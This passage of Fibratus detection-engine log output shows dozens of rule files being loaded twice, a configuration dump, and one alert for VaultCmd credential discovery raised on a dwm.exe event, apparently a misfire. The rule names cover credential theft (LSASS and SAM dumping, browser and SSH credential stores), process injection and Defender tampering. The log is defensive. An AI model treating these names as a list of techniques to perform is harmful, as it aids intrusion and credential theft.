C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-11-03T23:26:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-11-03T23:26:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-11-03T23:26:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-11-03T23:26:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-03T23:26:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-11-03T23:26:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-11-03T23:26:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-03T23:26:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-03T23:26:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-03T23:26:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-03T23:26:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-11-03T23:26:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-11-03T23:26:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-03T23:26:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-03T23:26:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-03T23:26:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-11-03T23:26:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-11-03T23:26:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-11-03T23:26:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-11-03T23:26:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-03T23:26:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-11-03T23:26:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-11-03T23:26:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-11-03T23:26:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-11-03T23:26:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-11-03T23:26:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-03T23:26:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-11-03T23:26:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-11-03T23:26:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-11-03T23:26:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-11-03T23:26:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-11-03T23:26:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-03T23:26:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-11-03T23:26:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-11-03T23:26:33+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:150 +time=2025-11-03T23:26:33+01:00 level=info msg=bootstrapping with pid 12112. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-03T23:26:33+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ mail=>[ content-type=>text/html port=>25 enabled=>false use-template=>true to=>[]] slack=>[ enabled=>false] systray=>[ quiet-mode=>false enabled=>false sound=>true] eventlog=>[ verbose=>true enabled=>true]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>false] + event .......................... [ serialize-images=>false serialize-envs=>true serialize-pe=>false serialize-threads=>false serialize-handles=>false] + eventsource .................... [ buffer-size=>512 enable-net=>true blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-fileio=>true enable-threadpool=>false min-buffers=>16 flush-interval=>1s enable-image=>true enable-vamap=>true enable-registry=>true max-buffers=>36 enable-audit-api=>true enable-dns=>false enable-thread=>true enable-handle=>false enable-mem=>false stack-enrichment=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\*.yml] from-urls=>[]] match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ false + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ max-backups=>15 max-size=>100 max-age=>0 log-stdout=>true formatter=>text level=>info] + output ......................... [ amqp=>[ vhost=>/ exchange-type=>topic timeout=>5s durable=>false routing-key=>fibratus passive=>false delivery-mode=>transient exchange=>fibratus tls-insecure-skip-verify=>false url=>amqp://localhost:5672 enabled=>false] eventlog=>[ enabled=>false level=>info] elasticsearch=>[ healthcheck-timeout=>5s servers=>[http://127.0.0.1:9200] timeout=>5s sniff=>false index-name=>fibratus healthcheck-interval=>10s flush-period=>1s enabled=>false template-name=>fibratus trace-log=>false healthcheck=>true bulk-workers=>1 gzip-compression=>false] console=>[ format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} + enabled=>true] http=>[ enabled=>false enable-gzip=>false endpoints=>[] timeout=>5s tls-insecure-skip-verify=>false method=>POST serializer=>json]] + pe ............................. [ enabled=>false read-resources=>false excluded-images=>[svchost.exe] read-symbols=>false read-sections=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ trim=>[ enabled=>false] remove=>[ enabled=>false params=>[]] tags=>[ enabled=>false] rename=>[ enabled=>false] replace=>[ enabled=>false]] + yara ........................... [ skip-allocs=>false excluded-procs=>[] skip-files=>false skip-registry=>false rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] scan-timeout=>10s skip-mmaps=>false fastscan=>true enabled=>false excluded-files=>[]] source=bootstrap/bootstrap.go:185 +time=2025-11-03T23:26:33+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-03T23:26:35+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-03T23:26:43+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-03T23:26:43+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-03T23:26:44+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-03T23:26:46+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-03T23:26:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-11-03T23:26:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-11-03T23:26:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-11-03T23:26:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-11-03T23:26:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-11-03T23:26:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-11-03T23:26:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-11-03T23:26:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-11-03T23:26:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-11-03T23:26:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-11-03T23:26:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-11-03T23:26:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-11-03T23:26:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-11-03T23:26:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-11-03T23:26:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-11-03T23:26:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-11-03T23:26:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-11-03T23:26:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-11-03T23:26:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-11-03T23:26:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-11-03T23:26:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-11-03T23:26:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-11-03T23:26:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-11-03T23:26:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-11-03T23:26:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-11-03T23:26:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-11-03T23:26:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-11-03T23:26:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-11-03T23:26:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-11-03T23:26:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-11-03T23:26:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-11-03T23:26:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-11-03T23:26:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-11-03T23:26:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-11-03T23:26:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-11-03T23:26:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-11-03T23:26:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-11-03T23:26:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-11-03T23:26:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-11-03T23:26:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-11-03T23:26:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-03T23:26:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-11-03T23:26:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-11-03T23:26:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-11-03T23:26:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-11-03T23:26:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-11-03T23:26:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-11-03T23:26:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-11-03T23:26:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-11-03T23:26:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-11-03T23:26:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-03T23:26:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-11-03T23:26:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-11-03T23:26:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-03T23:26:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-03T23:26:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-03T23:26:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-03T23:26:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-11-03T23:26:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-11-03T23:26:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-03T23:26:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-03T23:26:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-03T23:26:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-11-03T23:26:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-11-03T23:26:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-11-03T23:26:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-11-03T23:26:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-03T23:26:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-11-03T23:26:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-11-03T23:26:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-11-03T23:26:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-11-03T23:26:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-11-03T23:26:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-03T23:26:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-11-03T23:26:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-11-03T23:26:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-11-03T23:26:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-11-03T23:26:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-11-03T23:26:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-03T23:26:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-11-03T23:26:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-11-03T23:26:47+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:150 +time=2025-11-03T23:26:47+01:00 level=info msg=bootstrapping with pid 15616. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-03T23:26:47+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ eventlog=>[ verbose=>true enabled=>true] mail=>[ to=>[] content-type=>text/html port=>25 use-template=>true enabled=>false] systray=>[ quiet-mode=>false sound=>true enabled=>false] slack=>[ enabled=>false]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>false] + event .......................... [ serialize-handles=>false serialize-pe=>false serialize-images=>false serialize-envs=>true serialize-threads=>false] + eventsource .................... [ enable-audit-api=>true enable-threadpool=>false stack-enrichment=>true enable-mem=>false enable-net=>true enable-vamap=>true flush-interval=>1s min-buffers=>16 enable-thread=>true blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-image=>true enable-fileio=>true enable-handle=>false buffer-size=>512 max-buffers=>36 enable-dns=>false enable-registry=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\*.yml] enabled=>true from-urls=>[]] match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ false + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ max-backups=>15 max-age=>0 log-stdout=>true max-size=>100 formatter=>text level=>info] + output ......................... [ http=>[ serializer=>json tls-insecure-skip-verify=>false enabled=>false endpoints=>[] method=>POST enable-gzip=>false timeout=>5s] amqp=>[ url=>amqp://localhost:5672 passive=>false routing-key=>fibratus delivery-mode=>transient enabled=>false exchange-type=>topic durable=>false vhost=>/ tls-insecure-skip-verify=>false exchange=>fibratus timeout=>5s] elasticsearch=>[ gzip-compression=>false servers=>[http://127.0.0.1:9200] healthcheck-timeout=>5s bulk-workers=>1 timeout=>5s index-name=>fibratus trace-log=>false healthcheck=>true healthcheck-interval=>10s sniff=>false enabled=>false flush-period=>1s template-name=>fibratus] eventlog=>[ enabled=>false level=>info] console=>[ enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} + format=>pretty]] + pe ............................. [ read-symbols=>false read-resources=>false excluded-images=>[svchost.exe] read-sections=>false enabled=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ rename=>[ enabled=>false] replace=>[ enabled=>false] trim=>[ enabled=>false] tags=>[ enabled=>false] remove=>[ enabled=>false params=>[]]] + yara ........................... [ excluded-procs=>[] skip-files=>false fastscan=>true rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] skip-registry=>false enabled=>false skip-allocs=>false skip-mmaps=>false excluded-files=>[] scan-timeout=>10s] source=bootstrap/bootstrap.go:185 +time=2025-11-03T23:26:47+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-03T23:26:49+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-03T23:26:55+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 1840813 + Pid: 1556 + Tid: 2384 + Type: MapViewFile + CPU: 3 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-03 23:26:49.2391063 +0100 CET + Params: file_key➜ ffff808ce222a370, offset➜ 0, pid➜ 1556, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 1e21ef40000, view_size➜ 4096 + Metadata: technique.id: T1555, technique.ref: https://attack.mitre.org/techniques/T1555/, subtechnique.name: Windows Credential Manager, tactic.id: TA0006, tactic.name: Credential Access, technique.name: Credentials from Password Stores, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, rule.name: Credential discovery via VaultCmd tool, tactic.ref: https://attack.mitre.org/tactics/TA0006/, subtechnique.id: T1555.004 + + Pid: 1556 + Ppid: 680 + Name: dwm.exe + Parent name: winlogon.exe + Cmdline: "dwm.exe" + Parent cmdline: winlogon.exe + Exe: C:\WINDOWS\System32\dwm.exe + Cwd: C:\WINDOWS\system32\ + SID: S-1-5-90-0-1 + Integrity level: SYSTEM + Username: DWM-1 + Domain: Window Manager + Args: ["dwm.exe"] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData JAVA_HOME:C:\Program Files\Jdk11 NUMBER_OF_PROCESSORS:8 OS:Windows_NT PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel 